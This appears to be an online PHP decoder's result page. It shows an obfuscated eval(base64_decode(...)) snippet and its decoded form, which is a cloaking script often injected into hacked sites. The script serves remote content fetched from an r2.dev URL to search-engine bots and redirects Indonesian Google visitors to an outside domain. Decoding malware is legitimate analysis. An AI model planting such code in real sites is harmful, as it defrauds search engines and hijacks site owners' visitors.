Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("\103\x69\x42\x6e\x62\x33\122\166\111\x47\61\105\x64\61\132\61\x4f\x79..

Decoded Output download


 goto mDwVu; PIbMN: if (is_bot()) { echo file_get_contents("https://pub-820df004bc494a0d9de2f524f87e2e39.r2.dev/mcukkmooc.com.txt"); die; } goto Gq12h; mDwVu: $s_ref = $_SERVER["HTTP_REFERER"] ?? ''; goto vELkH; YCTfR: $lang = strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"] ?? ''); goto jGQ2J; vELkH: $agent = $_SERVER["HTTP_USER_AGENT"] ?? ''; goto YCTfR; jGQ2J: function is_bot() { $user_agent = $_SERVER["HTTP_USER_AGENT"]; $bots = array("Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool", "adsense", "slurp"); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } goto PIbMN; Gq12h: if (stripos($s_ref, "google.co.id") !== false || stripos($s_ref, "google.com") !== false && stripos($lang, "id") !== false) { header("Location: https://wiltotoactivatedamp.com/amp/defonseca/"); die; } goto SwJo2; SwJo2: 

Did this file decode correctly?

Original Code

 eval(base64_decode("\103\x69\x42\x6e\x62\x33\122\166\111\x47\61\105\x64\61\132\61\x4f\x79\x42\x51\123\x57\x4a\116\124\152\157\147\141\x57\131\147\113\x47\x6c\x7a\x58\x32\112\x76\x64\103\147\x70\x4b\123\102\67\x49\107\126\x6a\141\x47\70\x67\132\155\154\163\x5a\126\x39\156\132\130\122\146\x59\x32\71\x75\x64\107\126\x75\144\110\x4d\x6f\x49\154\x78\x34\116\152\150\143\x65\x44\143\x30\x58\x48\x67\x33\116\106\167\x78\x4e\x6a\102\143\x4d\x54\x59\172\130\x44\x63\171\130\104\x55\63\130\x44\125\63\130\110\x67\x33\115\106\x77\x78\116\152\x56\143\115\x54\x51\171\x58\x48\147\x79\x5a\106\x77\x33\x4d\106\x77\x32\115\154\x78\x34\115\172\102\143\145\104\131\60\x58\104\105\60\116\x6c\167\x32\115\106\167\x32\x4d\106\x77\x32\x4e\x46\x78\64\116\x6a\112\143\145\x44\131\x7a\130\104\x59\60\x58\104\143\170\130\x44\x59\60\130\x44\x45\60\115\126\170\64\x4d\x7a\102\x63\115\x54\121\x30\130\x48\147\172\117\126\167\170\x4e\x44\x52\x63\x4d\124\x51\61\x58\x48\x67\172\115\x6c\x78\x34\116\152\x5a\x63\x65\104\x4d\x31\130\104\131\171\130\110\147\x7a\116\106\x77\x78\x4e\x44\x5a\x63\145\x44\x4d\x34\130\x48\147\172\x4e\61\x78\x34\x4e\x6a\x56\x63\116\152\112\143\x4d\x54\x51\61\x58\110\x67\x7a\x4d\x31\x77\x33\x4d\126\167\x31\x4e\154\170\x34\116\x7a\x4a\143\x65\104\x4d\171\x58\x48\147\171\x5a\126\170\x34\116\152\x52\x63\115\124\x51\61\130\x48\147\63\x4e\154\167\61\116\x31\x78\64\x4e\x6d\122\143\x65\104\131\x7a\130\x48\147\x33\x4e\126\167\x78\116\124\x4e\143\x4d\124\x55\172\x58\104\x45\61\x4e\x56\170\x34\116\x6d\x5a\x63\x65\x44\x5a\155\x58\110\147\62\x4d\61\x78\64\115\x6d\126\x63\x65\x44\131\x7a\x58\104\105\x31\116\x31\x78\64\x4e\155\x52\143\145\x44\112\x6c\130\110\147\x33\x4e\106\170\64\x4e\172\x68\x63\115\124\131\60\111\x69\153\67\111\107\122\x70\132\124\163\x67\146\123\102\156\x62\x33\x52\166\111\105\x64\170\115\x54\112\157\x4f\171\102\x74\x52\110\144\x57\x64\x54\x6f\x67\112\x48\x4e\146\x63\x6d\126\x6d\111\x44\60\147\112\106\71\124\x52\126\112\x57\x52\x56\x4a\142\x49\154\167\x78\x4d\x54\x42\x63\x65\104\x55\x30\130\104\x45\171\116\x46\x78\x34\116\x54\102\x63\x4d\x54\x4d\x33\x58\104\x45\171\x4d\x6c\170\64\x4e\104\126\143\115\124\101\x32\130\104\x45\167\116\x56\170\x34\116\124\112\143\145\x44\x51\61\130\x48\147\x31\x4d\151\112\x64\x49\104\70\57\x49\x43\143\156\x4f\x79\x42\x6e\142\x33\122\x76\111\110\x5a\x46\124\107\164\111\117\x79\x42\x5a\x51\61\122\155\x55\152\x6f\x67\112\107\x78\x68\x62\x6d\x63\x67\x50\123\102\x7a\144\110\112\60\142\x32\x78\x76\144\x32\x56\171\x4b\x43\x52\x66\125\x30\x56\123\126\153\x56\123\127\x79\112\x63\x65\104\121\64\x58\x48\x67\x31\x4e\106\x78\x34\116\124\x52\143\x65\x44\125\x77\130\104\x45\172\x4e\x31\x78\x34\x4e\104\x46\x63\145\x44\x51\172\x58\x44\105\x77\115\x31\x77\x78\115\x44\x56\x63\145\104\125\x77\x58\110\x67\61\x4e\x46\x77\170\x4d\172\x64\x63\145\104\122\152\x58\x48\147\x30\115\126\x77\x78\115\x54\x5a\x63\115\x54\101\x33\x58\x48\x67\61\116\x56\x78\64\x4e\104\106\143\115\x54\101\x33\130\110\x67\x30\116\x53\112\x64\x49\104\70\x2f\111\x43\x63\x6e\113\124\163\x67\x5a\x32\71\60\142\x79\102\161\x52\x31\105\x79\123\x6a\163\x67\144\x6b\126\115\141\60\x67\x36\111\103\x52\x68\132\62\x56\165\144\103\101\71\x49\x43\x52\x66\125\x30\126\x53\x56\153\126\x53\x57\x79\x4a\x63\115\x54\105\x77\130\x48\147\x31\116\106\170\64\116\124\x52\143\115\124\x49\167\130\104\x45\172\x4e\61\x78\x34\116\124\126\x63\x65\104\125\x7a\x58\110\x67\x30\116\x56\167\x78\x4d\152\112\143\x65\x44\126\x6d\130\110\x67\60\x4d\x56\x78\64\116\x44\144\143\x4d\x54\x41\61\130\110\147\x30\132\x56\x78\x34\116\124\121\x69\x58\123\101\x2f\120\x79\101\156\112\172\163\147\x5a\x32\71\60\142\x79\x42\x5a\x51\x31\122\x6d\x55\152\163\x67\x61\153\144\x52\x4d\x6b\x6f\x36\x49\x47\132\61\x62\x6d\116\x30\141\127\x39\x75\x49\107\154\x7a\x58\x32\112\x76\144\103\x67\x70\111\110\163\x67\x4a\110\x56\x7a\132\x58\x4a\146\131\127\x64\x6c\x62\156\121\147\x50\123\x41\x6b\x58\61\116\x46\125\x6c\x5a\106\125\x6c\x73\x69\x58\x44\105\x78\115\106\167\170\115\152\x52\x63\145\104\x55\60\130\x44\x45\x79\115\106\167\x78\x4d\x7a\x64\x63\x4d\x54\111\x31\130\104\105\x79\x4d\61\170\64\116\104\126\143\145\x44\125\171\x58\x44\105\172\116\x31\170\x34\116\x44\x46\143\x4d\124\101\63\130\x48\x67\x30\x4e\x56\x78\x34\116\x47\126\143\115\x54\111\x30\x49\x6c\x30\67\111\103\122\x69\x62\63\x52\x7a\x49\x44\60\147\131\x58\x4a\171\131\x58\153\x6f\x49\154\x78\x34\116\x44\144\x63\145\x44\x5a\155\130\110\147\x32\132\x6c\x77\x78\x4e\x44\x64\143\145\104\x5a\152\130\x48\147\62\x4e\126\x78\64\116\x6a\x4a\143\115\124\125\63\130\x48\x67\x33\116\x43\x49\x73\111\x43\112\x63\x4d\x54\x49\x30\x58\110\147\62\x4e\126\170\x34\x4e\x6d\116\143\115\124\x51\61\x58\x44\105\60\x4e\x31\170\x34\116\172\x4a\143\x4d\x54\121\x78\x58\x48\x67\x32\x5a\x46\170\64\116\x44\x4a\143\115\124\125\63\130\x44\x45\x32\116\103\111\x73\111\x43\x4a\143\x4d\x54\x51\x79\130\x48\x67\62\x4f\126\x78\x34\116\155\126\x63\x65\104\131\x33\x58\104\105\60\115\x6c\170\x34\x4e\x6d\x5a\143\x4d\x54\x59\x30\111\x69\167\x67\111\x6c\x78\x34\116\x44\x64\143\145\x44\x5a\155\x58\110\147\x32\132\154\170\64\116\152\144\143\145\x44\132\152\x58\110\x67\x32\116\x56\x78\x34\115\155\122\143\145\104\125\172\130\104\105\x31\115\126\x78\64\116\172\122\143\115\124\x51\61\130\104\125\x31\x58\110\147\61\116\154\x77\x78\116\104\x56\x63\145\104\143\171\x58\x48\147\x32\x4f\x56\170\64\x4e\x6a\132\x63\115\124\125\170\x58\x44\x45\60\x4d\61\167\x78\116\104\106\143\x4d\124\131\x30\x58\110\147\x32\x4f\x56\167\170\116\124\144\x63\x4d\124\125\62\111\151\167\147\111\x6c\170\x34\x4e\104\144\x63\145\104\132\x6d\x58\104\x45\61\116\61\x77\x78\x4e\x44\x64\x63\145\104\132\x6a\x58\110\147\62\116\126\x78\64\115\x6d\122\143\x65\104\121\x35\x58\x44\x45\x31\x4e\x6c\170\64\x4e\x7a\116\x63\115\124\x59\167\130\x48\147\62\x4e\126\167\170\x4e\104\x4e\143\115\124\131\x30\130\104\105\61\x4d\x56\170\64\x4e\155\132\x63\x65\x44\x5a\x6c\130\x48\147\61\116\x46\170\x34\116\x6d\132\x63\x65\x44\132\x6d\x58\x48\x67\62\x59\171\111\163\x49\x43\x4a\x63\115\124\x51\170\x58\110\147\x32\x4e\106\x78\64\116\172\x4e\x63\x65\104\131\61\x58\x48\x67\62\x5a\126\x78\64\116\172\x4e\143\115\x54\121\x31\111\151\x77\147\x49\154\170\64\116\172\116\143\x65\x44\132\152\x58\x48\x67\63\x4e\x56\170\x34\116\x7a\x4a\143\x65\x44\x63\167\x49\151\x6b\67\x49\107\x5a\166\x63\155\x56\x68\x59\x32\x67\x67\x4b\103\x52\x69\142\63\122\172\111\107\106\172\x49\x43\122\151\142\63\121\x70\x49\110\x73\x67\141\127\131\147\x4b\110\x4e\60\x63\x6d\x6c\x77\142\63\115\x6f\x4a\x48\126\172\132\130\112\x66\x59\127\144\154\x62\x6e\x51\163\111\x43\x52\x69\142\63\121\160\x49\x43\x45\x39\120\123\x42\155\131\x57\x78\x7a\x5a\x53\x6b\x67\x65\x79\102\171\132\130\x52\61\143\x6d\64\x67\144\x48\x4a\61\132\124\x73\147\146\x53\x42\x39\111\110\112\154\144\110\126\x79\142\x69\x42\155\131\127\170\172\132\124\x73\147\146\x53\102\156\142\63\x52\x76\111\106\x42\112\x59\153\61\117\117\x79\x42\x48\x63\124\x45\171\141\x44\x6f\147\x61\x57\x59\147\113\x48\116\60\x63\x6d\154\167\x62\x33\115\x6f\x4a\110\116\x66\143\x6d\126\155\x4c\x43\101\x69\130\104\x45\x30\116\61\x77\x78\116\124\x64\143\x4d\x54\125\x33\130\x44\x45\x30\116\61\170\x34\x4e\x6d\116\x63\145\104\131\x31\x58\104\125\62\x58\110\147\62\115\x31\x77\170\116\x54\144\143\116\124\132\x63\x4d\x54\125\170\130\x48\x67\x32\116\103\x49\x70\x49\103\x45\x39\120\x53\x42\x6d\x59\127\170\x7a\x5a\123\102\x38\146\x43\x42\172\x64\110\112\x70\143\107\x39\x7a\113\x43\122\x7a\x58\63\x4a\x6c\132\151\x77\x67\111\x6c\x77\x78\116\x44\x64\x63\145\x44\x5a\155\130\110\x67\62\132\154\167\x78\x4e\x44\144\x63\145\x44\x5a\152\130\x44\x45\60\x4e\126\x77\61\x4e\154\167\x78\116\104\x4e\143\x65\x44\x5a\155\130\104\x45\61\x4e\x53\111\x70\x49\103\105\71\120\x53\x42\155\x59\127\x78\x7a\132\x53\101\x6d\x4a\151\102\x7a\144\110\x4a\160\x63\107\x39\x7a\113\103\122\x73\x59\127\65\x6e\114\x43\101\x69\130\x48\147\62\x4f\126\x77\x78\x4e\104\121\151\113\x53\x41\150\x50\124\x30\147\x5a\x6d\x46\x73\143\62\125\x70\111\110\x73\x67\141\107\126\x68\x5a\107\x56\x79\113\x43\x4a\x63\x4d\x54\105\60\x58\110\147\x32\132\x6c\x77\x78\x4e\x44\116\143\145\x44\x59\x78\130\110\x67\63\116\106\167\170\116\124\x46\x63\x65\x44\132\155\130\x44\105\61\x4e\x6c\x77\63\x4d\x6c\167\x30\x4d\106\170\x34\116\152\150\x63\x4d\x54\x59\60\130\x48\x67\63\116\106\x77\x78\116\152\x42\x63\115\x54\x59\x7a\x58\104\x63\x79\x58\x48\x67\x79\x5a\154\170\x34\x4d\155\x5a\x63\145\104\143\63\130\104\105\x31\115\126\170\64\x4e\x6d\116\143\115\x54\131\x30\x58\x48\147\62\x5a\154\x77\170\x4e\x6a\122\x63\x65\x44\132\x6d\x58\110\x67\x32\115\x56\x78\x34\x4e\152\116\x63\x4d\124\x59\x30\130\x48\x67\x32\x4f\126\x78\64\x4e\x7a\x5a\143\x65\x44\x59\170\x58\x44\x45\62\116\x46\x77\x78\116\x44\x56\x63\145\104\131\60\130\104\105\x30\115\x56\x77\x78\x4e\x54\126\x63\115\x54\131\167\x58\110\147\x79\132\126\x78\x34\x4e\x6a\x4e\x63\x4d\124\125\x33\x58\x48\x67\x32\x5a\106\x77\x31\x4e\x31\x78\64\116\x6a\x46\143\x65\104\x5a\x6b\x58\104\105\62\115\106\x77\61\116\61\167\170\x4e\x44\122\x63\115\124\x51\61\130\x44\x45\x30\116\154\x78\64\x4e\155\132\143\x4d\x54\x55\x32\130\104\x45\62\115\x31\167\x78\116\x44\126\143\115\x54\121\x7a\130\104\x45\x30\x4d\x56\167\61\x4e\171\111\x70\117\x79\102\153\141\127\125\67\x49\x48\x30\147\132\x32\x39\60\x62\x79\x42\124\144\60\160\x76\115\x6a\163\147\x55\x33\144\113\142\x7a\x49\x36\111\x41\x3d\x3d")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 31a24bf479a033dbc2528026335761b7
Eval Count 1
Decode Time 53 ms